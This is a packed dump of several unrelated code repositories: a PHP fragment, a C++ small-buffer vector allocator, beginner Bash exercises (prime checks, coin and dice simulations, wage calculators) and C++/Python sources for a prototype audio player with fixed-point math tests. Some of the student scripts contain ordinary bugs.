$__QUESTION__ = $question;
}
function setAnswer($answer) {
global $__ANSWER__;
$__ANSWER__ = $answer;
}
$pickedColor = pickRandom($colors, true);
$pickedQuestion = pickRandom($questions);
$pickedAnswer = pickRandom($answers);
setColor($pickedColor);
setQuestion($pickedQuestion);
setAnswer($pickedAnswer);
?>
|
24c3a993f7ed69fd16a47df1fc1945100fcca7e7
|
[
"PHP"
] | 2
|
PHP
|
AlphaGit/zen-answers.me
|
26bf7ac380ed5caea4397de3ed98bfa55a6357bd
|
d955e195059b6d1280773e7c812ad29c3ddc426a
|
refs/heads/master
|
<file_sep>/*
* =====================================================================================
*
* Filename: svobuf.hpp
* Created: 03/29/2019 04:54:20
* Description:
* should use std::align_storage not std::array
* std::array calls T()
*
* Version: 1.0
* Revision: none
* Compiler: gcc
*
* Author: ANHONG
* Email: <EMAIL>
* Organization: USTC
*
* =====================================================================================
*/
#pragma once
#include <vector>
#include "fflerror.hpp"
#include "short_alloc.h"
template<typename T, size_t N> class svobuf
{
private:
typename std::vector<T, short_alloc<T, N * sizeof(T), alignof(T)>>::allocator_type::arena_type m_alloc;
public:
std::vector<T, short_alloc<T, N * sizeof(T), alignof(T)>> c;
public:
svobuf()
: c(m_alloc)
{
// immediately use all static buffer
// 1. to prevent push_back() to allocate on heap
// 2. to prevent waste of memory
// when we call push_back() without reserve
// it a) allocate bigger buffer, then b) copy data, then c) deallocate current buffer
// the short_alloc can't reuse deallocated buffer since it only increses linearly
// if we use reserve then there is no waste caused by this
// for a more powerful allocator can reuse the deallocated buffer, check this one:
//
// https://github.com/orlp/libop/blob/master/bits/memory.h
//
// it works same as short_alloc but has ``free-list`` support
// side effect is:
//
// svobuf<int, 4> buf;
// auto b = buf.c;
//
// b.push_back(1);
// b.push_back(2);
//
// here variable buf has ran out of buf.m_alloc static buffer
// then b.push_back() will always allocates on heap
// don't do this:
//
// auto f()
// {
// svobuf<int, 4> buf;
// buf.c.push_back(1);
//
// return buf.c;
// }
//
// we return a copy of buf.c, which copies of the allocator inside buf.c
// but copy constructor of buf.c.allocator is simple a ref-bind to buf.m_alloc, then we have dangling ref
c.reserve(N);
if(c.capacity() > N){
throw fflerror("allocate initial buffer dynamically");
}
}
public:
constexpr size_t svocap() const
{
return N;
}
};
|
a14e6e61c1b4faa68555dae3a850a64739e1710e
|
[
"C++"
] | 1
|
C++
|
skyformat99/mir2x
|
d7c44b12de5999bf55daae483011cfb91d7b8591
|
25f4d5fcc4df3f0b7119780f4a112dd0a48615ee
|
refs/heads/master
|
<repo_name>koteswararao4408/CIC-BATCH-225<file_sep>/day6/harmonic.sh
#!/bin/bash -x
a=1
echo "enter y value"
read y
for((n=1;n<=y;n++))
do
x=`expr $x+$a/$n`
done
echo $x
<file_sep>/day6/powersof2.sh
#!/bin/bash -x
x=2
c=1
echo "enter n value"
read n
for((i=1;i<=n;i++))
do
c=$(($x*$c))
echo $c
done
<file_sep>/day8/dict.sh
#!/bin/bash -x
declare -A sounds
sounds[dog]="bark"
sounds[cat]="mew"
sounds[bird]="kk"
echo "bird sounds" ${sounds[dog]}
echo "all elements" ${sounds[@]}
echo "keys" ${!sounds[@]}
<file_sep>/day7/dicBirthAndYear.sh
#!/bin/bash
x=1
jan=0
feb=1
mar=2
apr=3
may=4
jun=5
jul=6
aug=7
sept=8
oct=9
nov=10
dec=11
a=0
b=0
c=0
d=0
e=0
f=0
g=0
h=0
i=0
j=0
k=0
l=0
declare -A child
while [[ $x -le 51 ]]
do
month=$((RANDOM%12))
if [[ $month -eq 0 ]]
then
((a++))
fi
if [[ $month -eq 1 ]]
then
((b++))
fi
if [[ $month -eq 2 ]]
then
((c++))
fi
if [[ $month -eq 3 ]]
then
((d++))
fi
if [[ $month -eq 4 ]]
then
((e++))
fi
if [[ $month -eq 5 ]]
then
((f++))
fi
if [[ $month -eq 6 ]]
then
((g++))
fi
if [[ $month -eq 7 ]]
then
((h++))
fi
if [[ $month -eq 8 ]]
then
((i++))
fi
if [[ $month -eq 9 ]]
then
((j++))
fi
if [[ $month -eq 10 ]]
then
((k++))
fi
if [[ $month -eq 11 ]]
then
((l++))
fi
child[$x]=$month
((x++))
done
echo "Birth on jan =$a"
echo "Birth on feb =$b"
echo "Birth on mar =$c"
echo "Birth on apr =$d"
echo "Birth on may =$e"
echo "Birth on jun =$f"
echo "Birth on jul =$g"
echo "Birth on aug =$h"
echo "Birth on sept =$i"
echo "Birth on oct =$j"
echo "Birth on nov =$k"
echo "Birth on dec =$l"
<file_sep>/day7/dicDiceRoll.sh
#!/bin/bash
declare -A x
a=0
b=0
c=0
d=0
e=0
f=0
k=0
ones=0
twos=0
threes=0
fours=0
fives=0
sixes=0
while [[ $ones -le 10 && $twos -le 10 && $threes -le 10 && $fours -le 10 && $fives -le 10 && $sixes -le 10 ]]
do
x=$(( ( RANDOM%6 ) + 1 ))
if [ $x -eq 1 ]
then
(( ones++ ))
((k++))
((a++))
if [[ $ones -eq 10 ]]
then
echo "1 reached 10 times"
((a--))
fi
fi
if [ $x -eq 2 ]
then
(( twos++ ))
((k++))
((b++))
if [[ $twos -eq 10 ]]
then
echo "2 reached 10 times"
((b--))
fi
fi
if [ $x -eq 3 ]
then
(( threes++ ))
((k++))
((c++))
if [[ $threes -eq 10 ]]
then
echo "3 reached 10 times"
((c--))
fi
fi
if [ $x -eq 4 ]
then
(( fours++ ))
((k++))
((d++))
if [[ $fours -eq 10 ]]
then
echo "4 reached 10 times"
((d--))
fi
fi
if [ $x -eq 5 ]
then
(( fives++ ))
((k++))
((e++))
if [[ $fives -eq 10 ]]
then
echo "5 reached 10 times"
((e--))
fi
fi
if [ $x -eq 6 ]
then
(( sixes++ ))
((k++))
((f++))
if [[ $sixes -eq 10 ]]
then
echo "6 reached 10 times"
((f--))
fi
fi
dic[$x]=$k
done
echo "Number of times dice rolled :" $k
echo "1 reached $a times"
echo "2 reached $b times"
echo "3 reached $c times"
echo "4 reached $d times"
echo "5 reached $e times"
echo "6 reached $f times"
<file_sep>/day7/arraysorting.sh
#!/bin/bash
num[$i]=$(( ( RANDOM%1000 ) + 99 ))
for((i=0;i<1;i++))
do
if [ $i -eq 0 ]
then
greatest=${num[i]}
smallest=${num[i]}
secondgreatest=${num[i]}
secondsmallest=${num[i]}
fi
done
for((i=1;i<10;i++))
do
num[$i]=$(( ( RANDOM%1000 ) + 99 ))
if [[ ${num[i]} -gt $greatest ]]
then
secondgreatest=$greatest
greatest=${num[i]}
elif [[ ${num[i]} -lt $smallest ]]
then
smallest=${num[i]}
secondsmallest=$smallest
fi
done
for((i=0;i<10;i++))
do
for((j=$i;j<=10;j++))
do
if [[ ${num[i]} -gt ${num[j]} ]]
then
t=${num[i]}
num[$i]=${num[i]}
num[$j]=$t
fi
echo ${num[i]}
done
done
echo "sorted numbers in acsending order"
for((i=0;i<=10;i++))
do
echo ${num[i]}
done
echo "second largest is :" $secondgreatest
echo "second smallest is :" $secondsmallest
<file_sep>/day6/bet.sh
#!/bin/bash -x
amount=100
bet=1
x=100
a=$((RANDOM%2))
b=0
while [[ $x -gt 0 && $x -lt 200 ]]
do
a=$((RANDOM%2))
if [[ $a -eq 0 ]]
then
x=$(($x+$bet))
else
x=$(($x-$bet))
fi
((b++))
done
echo " amount" $x
echo "$b no.of bets"
<file_sep>/day6/degreeCelsiusFahrenheit.sh
#!/bin/bash -x
read -p "enter celsius or fahrenheit value" n
celsius=0
fahrenheit=1
degreecheck=$((RANDOM%1))
function unitconversion ()
{
case $degreecheck in
$celsius)
echo "$celsius C =$fahrenheit F"
;;
$fahrenheit)
echo "$fahrenheit F =$celsius C"
esac
}
if [[ $degreecheck -eq 0 ]]
then
celsius=`awk -v xyz="$fahrenheit" "BEGIN {print (5/9) * ($xyz - 32)}"`
fi
<file_sep>/day6/palindrome.sh
#!/bin/bash -x
rev=0
read -p "enter a number :" num
n=$num
function palindrome ()
{
if [ $n -eq $rev ]
then
echo " The number $n is palindrome "
else
echo "The number $n is not a palindrome"
fi
}
while [[ $num -ne 0 ]]
do
dig=$(( $num % 10 ))
rev=$(( ( $rev * 10 ) + ( $dig ) ))
num=$(( $num / 10 ))
done
result=$( palindrome )
echo "$result"
<file_sep>/day7/simpleArray.sh
#!/bin/bash -x
counter=0
fruits[((counter++))]=Apple
fruits[((counter++))]=Orange
fruits[((counter++))]=Mango
echo "All elements" ${fruits[@]}
echo "Index values" ${!fruits[@]}
<file_sep>/day6/sampleFunc.sh
#!/bin/bash -x
function sampleFunc()
{
echo $1
}
result="$( sampleFunc $((RANDOM%2 )))"
if [ $result -eq 1 ]
then
echo " employee is present "
else
echo "employee is absent "
fi
<file_sep>/day6/palndromePrime.sh
#!/bin/bash -x
rev=0
read -p "enter a num:"
n=$num
function palindrome ()
{
if [ $num -eq $rev ]
then
echo "The number $n is a palindrome"
p=$n
else
echo "The number $n is not a prime number"
fi
}
while [[ $num -ne 0 ]]
do
dig=$(( $num % 10 ))
rev=$(( ($rev * 10 ) + ( $dig ) ))
num=$(( $num / 10 ))
done
result=$( palindrome )
echo "$result"
if [ $p -eq $rev ]
then
b=0
count=0
function prime ()
{
if [ count -eq 2 ]
then
echo"it is a prime number"
else
echo"it is not a prime"
fi
}
for((i=1;i<=num;i++))
do
a=$(($num%$i))
if [ $a -eq $b ]
then
((count++))
fi
done
result1=$( prime )
echo "$result1"
fi
<file_sep>/day6/factorial.sh
#!/bin/bash -x
echo "enter a number"
read num
fact=1
for((i=2;i<=num;i++))
do
fact=$((fact*i))
done
echo $fact
<file_sep>/day7/arrayprimeFact.sh
#!/bin/bash
read -p "enter a number :" n
echo "prime factors of $n ="
for i in $( seq `expr $n / 2`)
do
if [ `expr $n % $i` -eq 0 ]
then
arr[i]=$i
fi
done
echo "${arr[@]}"
<file_sep>/day6/primeNumRange.sh
#!/bin/bash
echo -n "enter a number upto which prime no. to print :"
read n
echo "The prime numbers from 1 to $n are :"
if [ $n -eq 1 ]
then
echo $n
else
for (( j=1;j<=n;j++ ))
do
a=0
i=2
q=0
for ((i=2;i<j;a++))
do
q=`expr $j % $i`
if [ $q -eq 0 ]
then
break
else
i=`expr $i + 1`
fi
done
if [[ $q -ne 0 ]]
then
echo $j
fi
done
fi
<file_sep>/day6/forloopEmpWage.sh
#!/bin/bash -x
isFullTime=1
isPartTime=2
salary=0
ratePerHr=20
numOfWorkingDays=20
for((day=1;day<=numOfWorkingDays;day++))
do
empcheck=$((RANDOM%3))
case $empcheck in
$isFullTime)
echo "Full Time Employee"
empHrs=8
;;
$isPartTime)
echo "partTime Employee"
empHrs=4
;;
*)
echo "Employee is Absent"
empHrs=0
;;
esac
salary=$(( $ratePerHr * $empHrs ))
echo "Employee Wage per day :" $salary
totalSalary=$(( $totalSalary + $salary ))
done
echo "Employee wage per month :" $totalSalary
<file_sep>/day7/2ndLargestAND2ndSmallest.sh
#!/bin/bash -x
num[$i]=$(( ( RANDOM%1000 ) + 99 ))
for((i=0;i<1;i++))
do
if [ $i -eq 0 ]
then
greatest=${num[i]}
smallest=${num[i]}
secondgreatest=${num[i]}
secondsmallest=${num[i]}
fi
done
for((i=1;i<10;i++))
do
num[$i]=$(( ( RANDOM%1000 ) + 99 ))
if [[ ${num[i]} -gt $greatest ]]
then
secondgreatest=$greatest
greatest=${num[i]}
elif [[ ${num[i]} -lt $smallest ]]
then
smallest=${num[i]}
secondsmallest=$smallest
fi
done
echo "second largest is :" $secondgreatest
echo "second smallest is :" $secondsmallest
<file_sep>/day6/powersof2Upto256.sh
#!/bin/bash -x
x=2
c=1
for((i=1;i<=8;i++))
do
c=$(($x*$c))
if [ $c -le 256 ]
then
echo $c
fi
done
<file_sep>/day7/arraySumof3Num.sh
#!/bin/bash
read -p "enter how many numbs you want to add integers:" n
for((i=0;i<3;i++))
do
read -p "enter a number :" arr[$i]
done
sum=0
for num in ${arr[@]}
do
sum=$(($sum+$num))
done
echo "Sum of three numbers :" $sum
<file_sep>/day6/primenum.sh
#!/bin/bash -x
echo "enter a number"
read num
b=0
count=0
for((i=1;i<=num;i++))
do
a=$(($num%$i))
if [ $a -eq $b ]
then
((count++))
fi
done
if [ $count -eq 2 ]
then
echo "it is prime number"
else
echo "it is not a prime"
fi
<file_sep>/day6/primeFactorization.sh
#!/bin/bash
read -p "enter a number :" n
echo "prime factors of $n ="
for i in $( seq `expr $n / 2`)
do
if [ `expr $n % $i` -eq 0 ]
then
echo "$i"
fi
done
<file_sep>/day6/magicNumber.sh
#!/bin/bash -x
echo "Think a number "
isCorrect="False"
minBound=0
maxBound=100
min=0
while [ $isCorrect == False ]
do
mid=$(( ( $maxBound + $minBound ) / 2))
read -p "is $mid is the Correct Answer : True or False" isCorrect
if [ $isCorrect == "True" ]
then
break
else
read -p "is the number greater or less than $mid : enter greater or less" grtOrLess
if [ $grtOrLess == "Greater" ]
then
minBound=$mid
else
maxBound=$mid
fi
fi
done
magicNumber=$mid
while [ $magicNumber -ne 1 ]
do
fn=$(( $magicNumber / 10 ))
sn=$(( $magicNumber % 10 ))
magicNumber=$(( $fn + $sn ))
if [ $magicNumber -eq 1 ]
then
echo "The number is a Magic Number"
break
else
if [ $fn -eq 0 ]
then
echo "The number is not a magic number"
break
fi
fi
done
<file_sep>/day6/coinflip11Times.sh
#!/bin/bash -x
heads=0
tails=1
x=0
y=0
a=$((RANDOM%2))
while [[ $x -lt 11 && $y -lt 11 ]]
do
a=$((RANDOM%2))
if [[ $a -eq 0 ]]
then
(( x++ ))
elif [[ $a -eq 1 ]]
then
(( y++ ))
else
echo "toss again"
fi
done
echo " $x heads"
echo "$y tails"
<file_sep>/day7/numbersRepeatedTwice.sh
#!/bin/bash
echo "enter a number from 0 to 100"
read n
firstnum=$(( $n / 10 ))
secondnum=$(( $n % 10 ))
if [[ $firstnum -eq $secondnum ]]
then
echo " Number is repeated twice "
else
echo "Number is not repeated twice"
fi
|
6204afb0dc98a38a2073b21008648adbb1880162
|
[
"Shell"
] | 24
|
Shell
|
koteswararao4408/CIC-BATCH-225
|
8f2d30b2e5a355b9c3c4b4b98f5362cd516825e6
|
c26412988c081a06fcf3adf5c63a24722c6c7af5
|
refs/heads/main
|
<file_sep>/*
* tt_player_message.h
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_MESSAGE_H_
#define TT_PLAYER_MESSAGE_H_
#include "tt_player_globaldefs.h"
#include "tt_player_object.h"
class TTPlayerMessage; // forward declaration
typedef TTPlayerMessage* pTTPlayerMessage;
class TTPlayerComponent; // forward declaration
class TTPlayerMessage : public TTPlayerObject
{
public:
enum MESSAGES
{
TTP_MESSAGE_EMPTY,
TTP_MESSAGE_PLAY,
TTP_MESSAGE_STOP,
TTP_MESSAGE_PAUSE
};
TTPlayerMessage(MESSAGES message = TTP_MESSAGE_EMPTY, string brief = string(), TTPlayerComponent* caller = 0);
virtual ~TTPlayerMessage();
TTPlayerMessage(const TTPlayerMessage &other);
TTPlayerComponent* getCaller() const {return caller;};
MESSAGES getMessage(){return message;};
private:
MESSAGES message; ///< message qualifier from an enumeration
string brief; ///< further comments
TTPlayerComponent* caller; /// a pointer to the caller. not sure how this would work with deallocation conflicts...
};
#endif /* TT_PLAYER_MESSAGE_H_ */
<file_sep>/*
* tt_player_component.h
*
* Created on: 6 Nov 2020
* Author: <NAME> for TikTok
*
* a base class containing declarations of basic player component methods
*
* a component needs a series of functionalities
*
* - update it's internal state and subcomponents
* - send and receive messages
*
* since all these functionalities might do different things in derived classes,
* we leave the methods empty.
*/
#ifndef TT_PLAYER_COMPONENT_H_
#define TT_PLAYER_COMPONENT_H_
#include "tt_player_globaldefs.h"
#include <vector>
using namespace std;
class TTPlayerComponent; // forward declaration
typedef TTPlayerComponent* pTTPlayerComponent; ///< convenience type to use pointers to components
class TTPlayerComponent : public TTPlayerObject ///< base component class
{
public:
TTPlayerComponent();
virtual ~TTPlayerComponent();
TTPlayerComponent(const TTPlayerComponent &other); ///< copy constructor
virtual void update(pTTPlayerComponent caller);///< update function, propagated to all sub-components
virtual void receive(pTTPlayerMessage const message); ///< called by a component to send a message to this component
virtual void send(pTTPlayerMessage message); ///< send the message to all the sub-components
virtual void addComponent(pTTPlayerComponent component); ///< add a sub-component
virtual void removeComponent(pTTPlayerComponent component); ///< remover a sub-component
friend ostream& operator<<(ostream& os, const TTPlayerComponent& c) //< overloaded outstream operator
{
os << "TTPlayerComponent name: " << c.getName() << " ID: " << c.getID() << "\n";
return os;
}
private:
vector< pTTPlayerComponent > components;///< vector of pointers to sub-compoenents
};
#endif /* TT_PLAYER_COMPONENT_H_ */
<file_sep>/*
* ttplayer_exception.h
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#ifndef TTPLAYER_EXCEPTION_H_
#define TTPLAYER_EXCEPTION_H_
#include <exception>
#include <cstdio>
using namespace std;
class TTPlayerException : public exception
{
public:
virtual char const * what() const noexcept { return "Generic TTPlayerException"; };
};
class TTPlayerFileNotFoundException : public TTPlayerException
{
public:
virtual char const * what() const noexcept { return "File not found exception"; };
};
class TTPlayerProcessorMemoryAllocationException : public TTPlayerException
{
public:
virtual char const * what() const noexcept { return "Processor memory allocation exception"; };
};
class TTPlayerDivisionByZeroException : public TTPlayerException
{
public:
virtual char const * what() const noexcept { return "Division by zero exception"; };
};
#endif /* TTPLAYER_EXCEPTION_H_ */
<file_sep>var searchData=
[
['ttplayercomponent_17',['TTPlayerComponent',['../class_t_t_player_component.html#acff0f5359df39168374f1ba05d63f8f9',1,'TTPlayerComponent']]]
];
<file_sep>/*
* tt_player_message.cpp
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#include "tt_player_message.h"
#include "tt_player_component.h"
TTPlayerMessage::TTPlayerMessage(MESSAGES message, string brief, TTPlayerComponent* caller)
:message(message)
,brief(brief)
,caller(caller)
{}
TTPlayerMessage::~TTPlayerMessage() {
// TODO Auto-generated destructor stub
}
TTPlayerMessage::TTPlayerMessage(const TTPlayerMessage &other) {
caller = other.caller;
}
<file_sep>/*
* tt_player_component.cpp
*
* Created on: 6 Nov 2020
* Author: <NAME>
*/
#include "tt_player_component.h"
#include <iostream>
TTPlayerComponent::TTPlayerComponent() {
}
TTPlayerComponent::~TTPlayerComponent() {
// TODO Auto-generated destructor stub
}
TTPlayerComponent::TTPlayerComponent(const TTPlayerComponent &other) {
// TODO Auto-generated constructor stub
}
void TTPlayerComponent::update(pTTPlayerComponent pCaller)
{
// note the condition to avoid circular calling. not sure it works...
for (auto it = components.begin(); (it != components.end()) && (*it != pCaller); it++ )
{
(*it)->update(pCaller);
}
}
void TTPlayerComponent::receive(pTTPlayerMessage const pMessage)
{
//&& (*it != pMessage->getCaller())
for (auto it = components.begin(); it != components.end() && *it != pMessage->getCaller(); ++it )
{
(*it)->receive(pMessage);
}
}
void TTPlayerComponent::send(pTTPlayerMessage pMessage)
{
for (auto it = components.begin(); it != components.end() && *it != pMessage->getCaller(); ++it )
{
(*it)->receive(pMessage);
}
}
void TTPlayerComponent::addComponent(pTTPlayerComponent pComponent)
{
components.push_back(pComponent);
}
void TTPlayerComponent::removeComponent(pTTPlayerComponent pComponent)
{
}
<file_sep>//============================================================================
// Name : tiktok_player.cpp
// Author :
// Version :
// Copyright : Your copyright notice
// Description : Hello World in C++, Ansi-style
//============================================================================
#include <fstream>
#include <iostream>
#include <vector>
#include <math.h>
#include <cmath>
#include <stdio.h>
#include <string>
#include <sstream>
#include "tt_player_globaldefs.h"
#include "tt_player_precision.h"
#include "tt_player_processor.h"
#include "tt_player_console_manager.h"
#include "tt_player_manager.h"
#include "tt_player_cursor.h"
#include "tt_player_progress_slider.h"
using namespace std;
#define _TO_CSV // enable test data dump to csv file
// test inverse LUT (reciprocal)
int test_inverse_lut()
{
int retval = 1;
#ifdef _TO_CSV
std::ofstream fstream( "tt_player_test_inverse_lut_log.csv", std::ofstream::out | std::ofstream::trunc );
// TODO csv dump should be managed by the debug manager at some point
std::ostringstream csv_osstream;
csv_osstream << "x_in" << "," << "y_out" << "," << "x_norm" << "," << "y_norm" << "," << "y_ideal" << "\n";
#endif
int subsamp = 4; // subsample the range with (1 << subsamp)
/*
* generate a sub sampled unsigned int range from 1 to (1 << 16) -1
*
* 0 is never hit
* 1 is always hit ( so we have an input for the minimum value)
* other values are always multiples of (1 << subsamp)
*
*
* note that x_in is 32 bit, although we want to generate int16 numbers.
* this is to avoid overflow in x_in += (1 << subsamp) - which would cause
* an infinite loop.
*
*/
for (TTP_U32 x_in = 0; x_in < (1 << 16); x_in += (1 << subsamp) )
{
// so that we never divide by 0, and always divide by 1
if (x_in == 0)
{
if (subsamp == 0) // 1 will be hit at the next iteration
continue;
else // subsamp > 0 so next iter will not be 1. force it
x_in = 1;
}
// calculate the renormalised lut output
TTP_U64 y_out = TTPlayerPrecision::ttp_lut_inverse(x_in);
// renormalise
float y_ren = static_cast<float>(y_out)*pow(2.0,-LUT_PRECISION);
/*
* normalise the output so that
*
* ttp_lut_inverse(1) = 1 / ( 1/(1 << LUT_FULL) ) = (1 << LUT_FULL)
*
* ttp_lut_inverse((1 << LUT_FULL)) = 1.0
*
* ttp_lut_inverse((1 << (LUT_FULL+1) ) = 2.0
*
* etc
*/
float y_norm = y_ren * pow(2.0, LUT_FULL - LUT_OUT_FRACT);
/*
* normalise the input range so that the interval
*
* [1...(1 << LUT_FULL)-1]
*
* represents the floating point number
*
* [ (1 <<LUT_FULL)^-1, 1 - (1 <<LUT_FULL)^-1]
*
*/
float x_norm = static_cast<float>(x_in)/pow(2.0, LUT_FULL);
// calculate the golden reference
float y_ideal = 1./x_norm;
std::string message;
std::ostringstream osstream;
osstream << "x_in = " << x_in << " y_out = " << y_out << " x_norm = " << x_norm << " y_norm = " << y_norm << " y_ideal = " << y_ideal << "\n";
message.append(osstream.str());
TTPlayerConsoleMessage mess(message,CONSOLE_MESSAGE::PROGRESS_STATUS);
TTPlayerConsoleManager::getInstance().processConsoleMessage(mess);
//std::cout << osstream.str();
#ifdef _TO_CSV
csv_osstream << x_in << "," << y_out << "," << x_norm << "," << y_norm << "," << y_ideal << "\n";
#endif
}
#ifdef _TO_CSV
fstream << csv_osstream.str();
fstream.close();
#endif
retval = 1;
return retval;
}
// test hyperbolic tangent
int test_tanh() // ported from python
{
int retval = 1;
#ifdef _TO_CSV
std::ofstream fstream("tt_player_test_tanh_log.csv");
// TODO all this will be managed by the debug manager at some point
std::ostringstream csv_osstream;
csv_osstream << "x_in" << "," << "y_out" << "," << "x_norm" << "," << "y_norm" << "," << "y_ideal" << "\n";
#endif
int subsamp = 2;
/*
* generate a sub sampled unsigned range from 1 to 2 << 16 making sure that
*
* 0 is never hit
* 1 is always hit (1/256 in fixed point precision)
* other samples are always powers of 2
*/
TangentHSoftClipper* tanh_clipper = new TangentHSoftClipper();
/*
* generate a sub sampled unsigned int range from 0 to (2 << 16) - 1
*
* note that x_in is 32 bit, although we want to generate int16 numbers.
* this is to avoid overflow in x_in += (1 << subsamp) - which would cause
* an infinite loop.
*
*/
for (TTP_U32 x_in = 0; x_in < (1 << 16); x_in += (1 << subsamp))
{
float gain = 1.0;
// calculate gain in fixed precision: remove extra fractional numbers
float gain_fp = floor(gain * POW2(TANH_GAIN_FRACT)) * POW2(-TANH_GAIN_FRACT);
// now clip gain to the max fixed point value
CLAMP(gain_fp, 0 , POW2(TANH_GAIN_INTEG) - POW2(-TANH_GAIN_FRACT) );
// convert to raw - TODO this should be compacted in a defined cast function
TTP_RAW x_s = static_cast<TTP_RAW>(static_cast<TTP_S32>(x_in) - (1 << 15));
//apply tanh
TTP_RAW y_out = tanh_clipper->getCurveValue(x_s, gain_fp);
// normalise to -1.0, 1.0
float y_norm = static_cast<float>(y_out)/pow(2.0, 15);
// normalise x in -1, 1 with -1 corresponding to -256 (signed integer) and 1 corresponding to 255
float x_norm = static_cast<float>(x_s)/pow(2.0, 15);
float y_ideal = x_norm*(27 + pow(x_norm,2.0))/(27 + 9*pow(x_norm, 2.0));
float error = abs(y_norm - y_ideal);
float bitloss = error > 0 ? log2(error) : 0;
std::string message;
std::ostringstream osstream;
osstream
<< " x_in = " << x_in
<< " y_out = " << y_out
<< " x_norm = " << x_norm
<< " y_norm = " << y_norm
<< " y_ideal = " << y_ideal
<< " bitloss = " << bitloss
<< "\n";
message.append(osstream.str());
TTPlayerConsoleMessage mess(message,CONSOLE_MESSAGE::PROGRESS_STATUS);
TTPlayerConsoleManager::getInstance().processConsoleMessage(mess);
#ifdef _TO_CSV
csv_osstream << x_in << "," << y_out << "," << x_norm << "," << y_norm << "," << y_ideal << "\n";
#endif
}
#ifdef _TO_CSV
fstream << csv_osstream.str();
fstream.close();
#endif
delete tanh_clipper;
retval = 1;
return retval;
}
// very basic communication test
int test_play_loop()
{
int retval = 1;
TTPlayerManager* theManager = new TTPlayerManager();
theManager->setName("the Manager");
TTPlayerProgressSlider* theSlider = new TTPlayerProgressSlider();
theSlider->setName("the Slider");
theManager->addComponent(theSlider);
//----------------------------------------------------------------------
TTPlayerCursor* theCursor = new TTPlayerCursor();
theCursor->setName("the Cursor");
RAW_HANDLE theStreamHandler;
StreamParameters streamParameters;
streamParameters.bitPerSample = 16;
streamParameters.samplingFrequency = 100;
streamParameters.lengthInSeconds = 3.0;
streamParameters.lengthInSamples =
streamParameters.lengthInSeconds * streamParameters.samplingFrequency;
theCursor->setCurrentPosition(0.0);
theCursor->setWavHandler(theStreamHandler);
theCursor->setStreamParameters(streamParameters);
// shared pointer because other cursors might use the same effect?
std::shared_ptr<TTPlayerEffect> peff = std::shared_ptr<TTPlayerEffect>( new TTPlayerProcessor() );
theCursor->addEffect(peff);
//----------------------------------------------------------------------
theCursor->addComponent(theManager);
theManager->addComponent(theCursor);
//----------------------------------------------------------------------
// simulate the click on the play button
theManager->onPlayButtonClicked();
return retval;
}
int main() {
int retval = 1;
// initialise the manager, that will hold subclasses of the other components
// TESTS
retval = test_inverse_lut();
retval = test_tanh();
//retval = test_play_loop();
if (retval == 1)
cout << "done!";
else
cout << "ops...";
return retval;
}
<file_sep>/*
* tt_player_object.cpp
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#include "tt_player_object.h"
TTPlayerObject::TTPlayerObject()
:id(0)
,name(string())
{
}
TTPlayerObject::~TTPlayerObject() {
// TODO Auto-generated destructor stub
}
TTPlayerObject::TTPlayerObject(const TTPlayerObject &other) {
// TODO Auto-generated constructor stub
}
<file_sep>/*
* tt_player_manager.cpp
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#include <memory>
#include "tt_player_manager.h"
#include "tt_player_message.h"
using namespace std;
TTPlayerManager::TTPlayerManager()
{
state = IDLE;
}
TTPlayerManager::~TTPlayerManager()
{
}
// overload methods
void TTPlayerManager::update()
{
update(); // call the base class method, for now
}
void TTPlayerManager::receive(pTTPlayerMessage message)
{
switch (message->getMessage())
{
case TTPlayerMessage::TTP_MESSAGE_EMPTY:
break;
case TTPlayerMessage::TTP_MESSAGE_PLAY:
break;
case TTPlayerMessage::TTP_MESSAGE_PAUSE:
break;
case TTPlayerMessage::TTP_MESSAGE_STOP:
break;
}
}
// GUI menu operation callbacks
int TTPlayerManager::onNewFileRequest()
{
int retval = 1;
return retval;
}
// GUI transport callbacks
int TTPlayerManager::onPlayButtonClicked()
{
int retval = 1;
pTTPlayerMessage message = new TTPlayerMessage(TTPlayerMessage::TTP_MESSAGE_PLAY, "", this);
send(message);
return retval;
}
int TTPlayerManager::onPauseButtonClicked()
{
// ALL THE FOLLOWING IMPLEMENTATIONS ARE SIMILAR TO TTPlayerManager::onPlayButtonClicked()
return 1;
}
int TTPlayerManager::onStopButtonClicked()
{
return 1;
}
int TTPlayerManager::onHomeButtonClicked()
{
return 1;
}
int TTPlayerManager::onEndButtonClicked()
{
return 1;
}
int TTPlayerManager::onRewindButtonPressed()
{
return 1;
}
int TTPlayerManager::onRewindButtonReleased()
{
return 1;
}
int TTPlayerManager::onFastForwardButtonPressed()
{
return 1;
}
int TTPlayerManager::onFastForwardButtonReleased()
{
return 1;
}
int TTPlayerManager::onTimeSliderValueChanged(float value)
{
return 1;
}
// time slider interface
int getTrackLength()
{
return 1;
}
int getCurrentPlaybackPosition()
{
return 1;
}
// exit callback
int onExit()
{
return 1;
}
<file_sep># -*- coding: utf-8 -*-
"""
Created on Wed Nov 11 18:57:18 2020
@author: alfredo
@brief:
"""
import matplotlib.pyplot as plt
import numpy as np
plt.close('all')
lut_precision = 21
lut_full = 10
lut_fract = 16
def ttp_lut_inverse( n ):
# the range of the input in bits - 8
r = np.zeros(n.shape)
if(r.size > 1):
for nidx in range(0 , r.shape[0]):
if n[nidx] == 0:
n[nidx] = 1
# this is just a very quick (and very bad) implementation of a bit range finder for the sake of the exercise.
# hopefully I will have time to code something better. on top of my head, a set of comparators would do
# because the input is bandwidth (bitdepth) bound.
if n[nidx] > pow(2.0, lut_full) - 1:
r[nidx] = (np.floor(np.log2( n[nidx] )) - lut_full ) + 1
if r[nidx] < 0:
r[nidx] = 0
else:
if n == 0:
n = 1
# this is just a very quick (and very bad) implementation of a bit range finder for the sake of the exercise.
# hopefully I will have time to code something better. on top of my head, a set of comparators would do
# because the input is bandwidth (bitdepth) bound.
if n > pow(2.0, lut_full) - 1:
r = (np.floor(np.log2( n )) - lut_full ) + 1
if r < 0:
r = 0
# simulate the input range right bitshift
n_ishift = np.floor(n * pow(2.0, -r))
# print('n_ishift = ', n_ishift)
#8 bit lookup table output
lut_output = np.floor(pow(2.0 , lut_precision)/n_ishift)
#rescaling for range and add fractional precision
lut_output_resc = np.floor(lut_output * pow(2.0 ,lut_fract -r))
return lut_output_resc
def clamp( x, minx, maxx ):
if (x < minx):
return minx
elif (x > maxx):
return maxx
else:
return x
def ttp_tanh( x_s, gain_fp ):
debug_data = {};
